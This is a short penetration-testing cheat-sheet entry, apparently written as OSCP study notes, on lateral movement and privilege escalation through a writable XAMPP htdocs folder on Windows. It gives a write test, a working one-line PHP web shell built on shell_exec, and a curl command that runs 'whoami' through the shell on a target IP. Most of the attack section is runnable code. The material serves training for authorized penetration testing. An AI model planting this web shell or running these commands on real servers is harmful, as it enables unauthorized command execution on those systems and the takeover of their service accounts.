Xampp

If there's a web server service account like "apache" or "svc\apache", it's possible to move laterally to them if you have write permissions in C:\xampp\htdocs or in any sub folde…

#windows privilege escalation#adot8

source · oscp.adot8.com · windows-privilege-escalation/xampp ↗

xampp

If there's a web server service account like "apache" or "svc_apache", it's possible to move laterally to them if you have write permissions in C:\xampp\htdocs or in any sub folders

code

01echo meow > C:\xampp\htdocs\catz.txt

Create a web shell

php

01<?php echo shell_exec($_GET['cmd']); ?>

Download it to C:\xampp\htdocs

Execute on the web servers root

code

01curl http://192.168.219.169/cmd.php?cmd=whoami